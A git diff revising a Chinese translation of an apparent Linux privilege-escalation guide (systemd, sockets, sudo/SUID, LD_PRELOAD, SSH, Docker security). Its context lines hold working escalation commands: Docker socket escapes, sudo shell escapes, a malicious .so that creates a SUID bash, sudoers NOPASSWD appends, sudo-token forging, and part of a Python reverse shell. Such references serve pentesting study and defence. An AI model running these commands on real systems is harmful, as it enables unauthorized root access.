**后门**(也许您需要等到机器重启)。\ +例如,在 .service 文件中创建您的后门,使用 **`ExecStart=/tmp/script.sh`** ### 可写的服务二进制文件 @@ -401,13 +401,13 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` 然后,在您可以写入的 systemd PATH 文件夹中创建一个 **可执行文件**,其 **名称与相对路径二进制文件相同**,当服务被要求执行脆弱操作(**启动**,**停止**,**重新加载**)时,您的 **后门将被执行**(普通用户通常无法启动/停止服务,但请检查您是否可以使用 `sudo -l`)。 -**了解有关服务的更多信息,请参阅 `man systemd.service`。** +**了解有关服务的更多信息,请参见 `man systemd.service`。** ## **定时器** **定时器** 是以 `**.timer**` 结尾的 systemd 单元文件,用于控制 `**.service**` 文件或事件。 **定时器** 可以作为 cron 的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。 -您可以通过以下命令列出所有定时器: +您可以使用以下命令列出所有定时器: ```bash systemctl list-timers --all ``` @@ -419,12 +419,12 @@ Unit=backdoor.service ``` 在文档中,您可以阅读单位的定义: -> 当此计时器到期时要激活的单位。参数是单位名称,其后缀不是“.timer”。如果未指定,则此值默认为与计时器单位同名的服务,后缀除外。(见上文。)建议激活的单位名称和计时器单位的单位名称在后缀之外命名相同。 +> 当此计时器到期时要激活的单位。参数是单位名称,其后缀不是“.timer”。如果未指定,则此值默认为与计时器单位同名的服务,除了后缀外。(见上文。)建议激活的单位名称和计时器单位的单位名称在名称上保持一致,除了后缀。 因此,要滥用此权限,您需要: - 找到某个 systemd 单元(如 `.service`),该单元正在 **执行一个可写的二进制文件** -- 找到某个 systemd 单元,该单元正在 **执行一个相对路径**,并且您对 **systemd PATH** 具有 **可写权限**(以冒充该可执行文件) +- 找到某个 systemd 单元,该单元正在 **执行一个相对路径**,并且您对 **systemd PATH** 具有 **可写权限**(以伪装该可执行文件) **了解有关计时器的更多信息,请使用 `man systemd.timer`。** @@ -439,17 +439,17 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li ## 套接字 -Unix 域套接字 (UDS) 使得在客户端-服务器模型中同一台或不同机器上的 **进程通信** 成为可能。它们利用标准的 Unix 描述符文件进行计算机间通信,并通过 `.socket` 文件进行设置。 +Unix 域套接字 (UDS) 使得 **进程通信** 在同一台或不同机器之间的客户端-服务器模型中成为可能。它们利用标准的 Unix 描述符文件进行计算机间通信,并通过 `.socket` 文件进行设置。 套接字可以使用 `.socket` 文件进行配置。 -**了解更多关于套接字的信息,请使用 `man systemd.socket`。** 在此文件中,可以配置几个有趣的参数: +**通过 `man systemd.socket` 了解更多关于套接字的信息。** 在此文件中,可以配置几个有趣的参数: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同,但总结用于 **指示将要监听的位置**(AF_UNIX 套接字文件的路径,监听的 IPv4/6 和/或端口号等) +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同,但总结用于 **指示将要监听的地方**(AF_UNIX 套接字文件的路径,监听的 IPv4/6 和/或端口号等) - `Accept`: 接受一个布尔参数。如果 **true**,则 **为每个传入连接生成一个服务实例**,并且仅将连接套接字传递给它。如果 **false**,则所有监听套接字本身都被 **传递给启动的服务单元**,并且仅为所有连接生成一个服务单元。对于数据报套接字和 FIFO,此值被忽略,因为单个服务单元无条件处理所有传入流量。**默认为 false**。出于性能原因,建议仅以适合 `Accept=no` 的方式编写新的守护进程。 - `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行,这些命令在监听 **套接字**/FIFO 被 **创建** 和绑定之前或之后 **执行**。命令行的第一个标记必须是绝对文件名,后面跟着进程的参数。 - `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行** 的附加 **命令**。 -- `Service`: 指定 **在传入流量上激活的** 服务单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。 +- `Service`: 指定 **在传入流量** 上 **激活** 的 **服务** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。 ### 可写的 .socket 文件 @@ -481,7 +481,7 @@ socket-command-injection.md ### HTTP 套接字 -请注意,可能有一些 **套接字正在监听 HTTP** 请求(_我不是在谈论 .socket 文件,而是作为 unix 套接字的文件_)。您可以通过以下方式检查: +请注意,可能有一些 **监听 HTTP** 请求的 **套接字**(_我不是在谈论 .socket 文件,而是充当 unix 套接字的文件_)。您可以通过以下方式检查: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` @@ -489,7 +489,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ### 可写的 Docker 套接字 -Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写访问权限可能导致特权提升。以下是如何做到这一点的分解,以及在 Docker CLI 不可用时的替代方法。 +Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写访问权限可能导致特权提升。以下是如何做到这一点的详细说明,以及在 Docker CLI 不可用时的替代方法。 #### **使用 Docker CLI 进行特权提升** @@ -498,7 +498,7 @@ Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件 docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -这些命令允许您以根级访问权限运行一个容器,访问主机的文件系统。 +这些命令允许您以根级别访问主机的文件系统运行容器。 #### **直接使用 Docker API** @@ -510,7 +510,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **创建一个容器:** 发送请求以创建一个挂载主机系统根目录的容器。 +2. **创建容器:** 发送请求以创建一个挂载主机系统根目录的容器。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -532,11 +532,11 @@ Connection: Upgrade Upgrade: tcp ``` -在设置好 `socat` 连接后,您可以直接在容器中执行命令,拥有对主机文件系统的根级访问权限。 +在设置好 `socat` 连接后,您可以直接在容器中以根级别访问主机的文件系统执行命令。 ### 其他 -请注意,如果您对 Docker 套接字具有写权限,因为您是 **`docker` 组的成员**,您有 [**更多的权限提升方式**](interesting-groups-linux-pe/#docker-group)。如果 [**docker API 在某个端口上监听**,您也可以有能力进行破坏](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +请注意,如果您对 Docker 套接字具有写权限,因为您在 **`docker` 组内**,您有 [**更多的权限提升方法**](interesting-groups-linux-pe/#docker-group)。如果 [**docker API 在某个端口上监听**,您也可能能够妥协它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 查看 **更多从 Docker 中突破或滥用它以提升权限的方法** 在: @@ -564,11 +564,11 @@ runc-privilege-escalation.md D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**,使应用程序能够高效地交互和共享数据。它是为现代 Linux 系统设计的,提供了一个强大的框架,用于不同形式的应用程序通信。 -该系统灵活多变,支持基本的 IPC,增强了进程之间的数据交换,类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音,从而提升用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。 +该系统灵活多变,支持基本的 IPC,增强了进程之间的数据交换,类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音,从而增强用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。 D-Bus 基于 **允许/拒绝模型**,根据匹配的策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略指定与总线的交互,可能通过利用这些权限来允许权限提升。 -在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了一个此类策略的示例,详细说明了根用户拥有、发送和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。 +在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了这样一个策略的示例,详细说明了根用户拥有、发送和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。 没有指定用户或组的策略适用于所有情况,而“默认”上下文策略适用于所有未被其他特定策略覆盖的情况。 ```xml @@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -一些Linux版本受到一个漏洞的影响,该漏洞允许**UID > INT_MAX**的用户提升权限。更多信息:[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74),[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)和[here](https://twitter.com/paragonsec/status/1071152249529884674)。\ +某些Linux版本受到一个漏洞的影响,该漏洞允许**UID > INT_MAX**的用户提升权限。更多信息:[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74),[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)和[here](https://twitter.com/paragonsec/status/1071152249529884674)。\ **利用它**使用:**`systemd-run -t /bin/bash`** ### Groups @@ -688,7 +688,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ### Su Brute 如果你不介意制造很多噪音,并且计算机上存在`su`和`timeout`二进制文件,你可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用`-a`参数也会尝试暴力破解用户。 +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)使用`-a`参数也会尝试暴力破解用户。 ## 可写的 PATH 滥用 @@ -698,12 +698,12 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ### SUDO 和 SUID -你可能被允许使用 sudo 执行某些命令,或者它们可能具有 suid 位。使用以下命令检查: +你可能被允许使用sudo执行某些命令,或者它们可能具有suid位。使用以下命令检查: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -一些**意外的命令允许您读取和/或写入文件,甚至执行命令。** 例如: +一些 **意外的命令允许您读取和/或写入文件,甚至执行命令。** 例如: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -732,13 +732,13 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -这个例子,**基于 HTB 机器 Admirer**,**易受** **PYTHONPATH 劫持** 的影响,可以在以 root 身份执行脚本时加载任意的 python 库: +这个例子,**基于 HTB 机器 Admirer**,**易受** **PYTHONPATH 劫持** 的影响,可以在以 root 身份执行脚本时加载任意 python 库: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo 执行绕过路径 -**跳转**到读取其他文件或使用 **符号链接**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**跳转** 以读取其他文件或使用 **符号链接**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -763,13 +763,13 @@ export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用(始终检查**_**strings**_**工具查看奇怪的SUID二进制文件的内容)**。 +这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用(始终检查**_**strings**_ **内容的奇怪SUID二进制文件)**。 [Payload examples to execute.](payloads-to-execute.md) ### 带命令路径的SUID二进制文件 -如果**suid**二进制文件**执行另一个命令并指定路径**,那么你可以尝试**导出一个名为该suid文件调用的命令的函数**。 +如果**suid**二进制文件**执行另一个命令并指定路径**,那么你可以尝试**导出一个函数**,其名称与suid文件调用的命令相同。 例如,如果一个suid二进制文件调用_**/usr/sbin/service apache2 start**_,你需要尝试创建该函数并导出它: ```bash @@ -784,8 +784,8 @@ export -f /usr/sbin/service 然而,为了维护系统安全并防止此功能被利用,特别是在**suid/sgid**可执行文件中,系统强制执行某些条件: -- 加载器忽略**LD_PRELOAD**对于真实用户ID(_ruid_)与有效用户ID(_euid_)不匹配的可执行文件。 -- 对于具有suid/sgid的可执行文件,仅预加载在标准路径中且也具有suid/sgid的库。 +- 对于真实用户ID(_ruid_)与有效用户ID(_euid_)不匹配的可执行文件,加载器会忽略**LD_PRELOAD**。 +- 对于具有suid/sgid的可执行文件,仅在标准路径中且也具有suid/sgid的库会被预加载。 如果你有能力使用`sudo`执行命令,并且`sudo -l`的输出包含语句**env_keep+=LD_PRELOAD**,则可能发生权限提升。此配置允许**LD_PRELOAD**环境变量持续存在并被识别,即使在使用`sudo`运行命令时,这可能导致以提升的权限执行任意代码。 ``` @@ -836,13 +836,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID 二进制文件 – .so 注入 -当遇到一个具有 **SUID** 权限且看起来不寻常的二进制文件时,验证它是否正确加载 **.so** 文件是一个好习惯。可以通过运行以下命令来检查: +当遇到一个具有 **SUID** 权限的二进制文件且看起来不寻常时,验证它是否正确加载 **.so** 文件是一个好习惯。可以通过运行以下命令来检查: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` 例如,遇到类似 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (没有这样的文件或目录)"_ 的错误提示,暗示了潜在的利用可能性。 -为了利用这一点,可以创建一个 C 文件,比如 _"/path/to/.config/libcalc.c"_,其中包含以下代码: +为了利用这一点,可以创建一个 C 文件,例如 _"/path/to/.config/libcalc.c"_,其中包含以下代码: ```c #include #include @@ -859,7 +859,7 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最后,运行受影响的 SUID 二进制文件应该会触发漏洞,从而允许潜在的系统妥协。 +最后,运行受影响的 SUID 二进制文件应该会触发漏洞,从而允许潜在的系统破坏。 ## 共享对象劫持 ```bash @@ -901,9 +901,13 @@ system("/bin/bash -p"); > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://gtfoargs.github.io/" %} +{{#ref}} +https://gtfoargs.github.io/ +{{#endref}} ### FallOfSudo @@ -916,7 +920,7 @@ system("/bin/bash -p"); 提升特权的要求: - 您已经以用户 "_sampleuser_" 拥有一个 shell -- "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作(默认情况下,这是允许我们在不输入任何密码的情况下使用 `sudo` 的 sudo 令牌的持续时间) +- "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作(默认情况下,这是允许我们使用 `sudo` 而不输入任何密码的 sudo 令牌的持续时间) - `cat /proc/sys/kernel/yama/ptrace_scope` 为 0 - `gdb` 可访问(您可以上传它) @@ -924,7 +928,7 @@ system("/bin/bash -p"); 如果满足所有这些要求,**您可以使用以下方法提升特权:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **第一个利用** (`exploit.sh`) 将在 _/tmp_ 中创建二进制文件 `activate_sudo_token`。您可以使用它来 **在您的会话中激活 sudo 令牌**(您不会自动获得 root shell,请执行 `sudo su`): +- **第一个利用** (`exploit.sh`) 将在 _/tmp_ 中创建二进制文件 `activate_sudo_token`。您可以使用它来 **激活您会话中的 sudo 令牌**(您不会自动获得 root shell,请执行 `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -935,15 +939,15 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- 第**三个漏洞**(`exploit_v3.sh`)将**创建一个sudoers文件**,使**sudo令牌永久有效并允许所有用户使用sudo** +- 第**三个漏洞** (`exploit_v3.sh`) 将**创建一个 sudoers 文件**,使**sudo 令牌永久有效并允许所有用户使用 sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -如果您在文件夹中或文件夹内任何创建的文件上具有**写权限**,您可以使用二进制文件[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)来**为用户和PID创建sudo令牌**。\ -例如,如果您可以覆盖文件 _/var/run/sudo/ts/sampleuser_ 并且您以PID 1234的该用户身份拥有一个shell,您可以**获得sudo权限**而无需知道密码,方法是: +如果您在该文件夹或文件夹内创建的任何文件上具有**写权限**,则可以使用二进制文件[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)为用户和PID**创建sudo令牌**。\ +例如,如果您可以覆盖文件_/var/run/sudo/ts/sampleuser_,并且您以该用户的身份拥有PID 1234的shell,则可以**获得sudo权限**而无需知道密码,方法是: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` @@ -955,7 +959,7 @@ sudo su ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -如果你会写,你就可以滥用这个权限 +如果你能写,你就可以滥用这个权限 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1058,7 +1062,7 @@ linux-capabilities.md ## ACLs -访问控制列表 (ACLs) 代表了可任意权限的第二层,能够 **覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝特定用户(非所有者或不属于该组的用户)访问文件或目录,从而增强了对访问的控制。这种 **粒度确保了更精确的访问管理**。更多细节可以在 [**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux) 找到。 +访问控制列表 (ACLs) 代表了可选择权限的第二层,能够 **覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝特定用户(非所有者或组成员)访问文件或目录,增强了对访问的控制。这种 **粒度确保了更精确的访问管理**。更多细节可以在 [**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux) 找到。 **给予** 用户 "kali" 对一个文件的读取和写入权限: ```bash @@ -1074,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ## 打开 shell 会话 在 **旧版本** 中,您可能会 **劫持** 其他用户 (**root**) 的一些 **shell** 会话。\ -在 **最新版本** 中,您将只能 **连接** 到 **您自己用户** 的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。 +在 **最新版本** 中,您只能 **连接** 到 **您自己的用户** 的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。 ### 屏幕会话劫持 @@ -1113,14 +1117,14 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -检查 **Valentine box from HTB** 以获取示例。 +检查 **HTB 的情人节盒子** 以获取示例。 ## SSH ### Debian OpenSSL 可预测的 PRNG - CVE-2008-0166 在 2006 年 9 月到 2008 年 5 月 13 日之间,在基于 Debian 的系统(如 Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受到此漏洞的影响。\ -此漏洞是在这些操作系统中创建新 ssh 密钥时造成的,因为 **仅有 32,768 种变体是可能的**。这意味着所有可能性都可以计算,并且 **拥有 ssh 公钥后,您可以搜索相应的私钥**。您可以在此处找到计算的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +此漏洞是在这些操作系统中创建新 ssh 密钥时造成的,因为 **仅可能有 32,768 种变体**。这意味着所有可能性都可以计算,并且 **拥有 ssh 公钥后,您可以搜索相应的私钥**。您可以在此处找到计算的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH 有趣的配置值 @@ -1159,7 +1163,7 @@ ForwardAgent yes 文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\ 文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发(默认是允许)。 -如果您发现转发代理在某个环境中被配置,请阅读以下页面,因为 **您可能能够利用它来提升权限**: +如果你发现转发代理在某个环境中被配置,请阅读以下页面,因为 **你可能能够利用它来提升权限**: {{#ref}} ssh-forward-agent-exploitation.md @@ -1169,7 +1173,7 @@ ssh-forward-agent-exploitation.md ### 配置文件 -文件 `/etc/profile` 和 `/etc/profile.d/` 下的文件是 **在用户运行新 shell 时执行的脚本**。因此,如果您可以 **写入或修改其中任何一个,您可以提升权限**。 +文件 `/etc/profile` 和 `/etc/profile.d/` 下的文件是 **在用户运行新 shell 时执行的脚本**。因此,如果你可以 **写入或修改其中任何一个,你可以提升权限**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` @@ -1282,13 +1286,13 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### 已知包含密码的文件 -阅读[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)的代码,它会搜索**可能包含密码的多个文件**。\ +阅读[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)的代码,它搜索**可能包含密码的多个文件**。\ **另一个有趣的工具**是:[**LaZagne**](https://github.com/AlessandroZ/LaZagne),这是一个开源应用程序,用于检索存储在本地计算机上的大量密码,适用于Windows、Linux和Mac。 ### 日志 如果您可以读取日志,您可能会在其中找到**有趣/机密的信息**。日志越奇怪,它就越有趣(可能)。\ -此外,一些“**错误**”配置的(后门?)**审计日志**可能允许您在审计日志中**记录密码**,正如在这篇文章中所解释的:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 +此外,一些“**错误**”配置(后门?)的**审计日志**可能允许您在审计日志中**记录密码**,正如在这篇文章中所解释的:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1328,7 +1332,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s > [!NOTE] > 此漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 -有关该漏洞的更详细信息可以在此页面找到:[https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 +有关该漏洞的更多详细信息,请访问此页面:[https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 您可以使用 [**logrotten**](https://github.com/whotwagner/logrotten) 利用此漏洞。 @@ -1340,9 +1344,9 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s 如果出于某种原因,用户能够 **写入** 一个 `ifcf-` 脚本到 _/etc/sysconfig/network-scripts_ **或** 可以 **调整** 一个现有的脚本,那么您的 **系统就被攻陷了**。 -网络脚本,例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而,它们在 Linux 中由网络管理器(dispatcher.d)进行 \~sourced\~。 +网络脚本,例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而,它们在 Linux 中由网络管理器(dispatcher.d)\~sourced\~。 -在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果名称中有 **空格**,系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**。 +在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空格**,系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**。 例如: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1402,7 +1406,7 @@ cisco-vmanage.md **EvilAbigail (物理访问):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **更多脚本的汇编**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## 参考 +## 参考文献 - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index 699be0aa3..69a22d833 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -22,7 +22,7 @@ sudo service docker restart 1. 客户端验证服务器的身份。 2. 客户端和服务器相互验证对方的身份。 -证书用于确认服务器的身份。有关这两种方法的详细示例,请参阅 [**此指南**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)。 +证书用于确认服务器的身份。有关这两种方法的详细示例,请参阅 [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)。 ### 容器镜像的安全性 @@ -36,7 +36,7 @@ sudo service docker restart 容器可能存在 **安全漏洞**,这可能是由于基础镜像或在基础镜像上安装的软件造成的。Docker 正在进行一个名为 **Nautilus** 的项目,该项目对容器进行安全扫描并列出漏洞。Nautilus 通过将每个容器镜像层与漏洞库进行比较来识别安全漏洞。 -有关更多 [**信息,请阅读此文**](https://docs.docker.com/engine/scan/)。 +有关更多 [**information read this**](https://docs.docker.com/engine/scan/)。 - **`docker scan`** @@ -82,7 +82,7 @@ Docker 镜像签名确保容器中使用的镜像的安全性和完整性。以 ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` -当切换 Docker 主机时,必须移动根和存储库密钥以维持操作。 +在切换 Docker 主机时,必须移动根密钥和存储库密钥以维持操作。 ## 容器安全特性 @@ -97,8 +97,8 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private **命名空间** - **目的**:确保进程、网络和文件系统等资源的隔离。特别是在 Docker 中,命名空间使容器的进程与主机和其他容器分开。 -- **`unshare` 的使用**:`unshare` 命令(或底层系统调用)用于创建新的命名空间,提供额外的隔离层。然而,虽然 Kubernetes 本身并不阻止这一点,但 Docker 是会的。 -- **限制**:创建新命名空间不允许进程恢复到主机的默认命名空间。要穿透主机命名空间,通常需要访问主机的 `/proc` 目录,使用 `nsenter` 进行进入。 +- **`unshare` 的使用**:`unshare` 命令(或底层系统调用)用于创建新的命名空间,提供额外的隔离层。然而,虽然 Kubernetes 本身并不阻止这一点,但 Docker 确实会。 +- **限制**:创建新命名空间并不允许进程恢复到主机的默认命名空间。要穿透主机命名空间,通常需要访问主机的 `/proc` 目录,使用 `nsenter` 进行进入。 **控制组 (CGroups)** @@ -147,8 +147,8 @@ namespaces/ ### cgroups -Linux 内核特性**cgroups**提供了**限制资源如 CPU、内存、IO、网络带宽**的能力,适用于一组进程。Docker 允许使用 cgroup 特性创建容器,从而实现对特定容器的资源控制。\ -以下是一个用户空间内存限制为 500m,内核内存限制为 50m,CPU 共享为 512,blkio-weight 为 400 的容器。CPU 共享是控制容器 CPU 使用的比率。它的默认值为 1024,范围在 0 到 1024 之间。如果三个容器的 CPU 共享都是 1024,则在 CPU 资源争用的情况下,每个容器最多可以占用 33% 的 CPU。blkio-weight 是控制容器 IO 的比率。它的默认值为 500,范围在 10 到 1000 之间。 +Linux 内核特性**cgroups**提供了**限制资源如 CPU、内存、IO、网络带宽**等的能力,适用于一组进程。Docker 允许使用 cgroup 特性创建容器,从而实现对特定容器的资源控制。\ +以下是一个用户空间内存限制为 500m,内核内存限制为 50m,CPU 共享为 512,blkio-weight 为 400 的容器。CPU 共享是控制容器 CPU 使用的比例。它的默认值为 1024,范围在 0 到 1024 之间。如果三个容器的 CPU 共享都是 1024,则在 CPU 资源争用的情况下,每个容器最多可以占用 33% 的 CPU。blkio-weight 是控制容器 IO 的比例。它的默认值为 500,范围在 10 到 1000 之间。 ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -168,7 +168,7 @@ cgroups.md 能力允许**对可以允许的根用户能力进行更细粒度的控制**。Docker使用Linux内核能力特性来**限制可以在容器内执行的操作**,无论用户类型如何。 -当运行docker容器时,**进程会放弃敏感能力,以防止进程逃离隔离**。这试图确保进程无法执行敏感操作并逃脱: +当运行docker容器时,**进程会放弃敏感能力,以防止进程逃离隔离**。这试图确保进程无法执行敏感操作并逃逸: {{#ref}} ../linux-capabilities.md @@ -176,7 +176,7 @@ cgroups.md ### Docker中的Seccomp -这是一项安全功能,允许Docker**限制可以在容器内使用的系统调用**: +这是一种安全特性,允许Docker**限制可以在容器内使用的系统调用**: {{#ref}} seccomp.md @@ -192,8 +192,8 @@ apparmor.md ### Docker中的SELinux 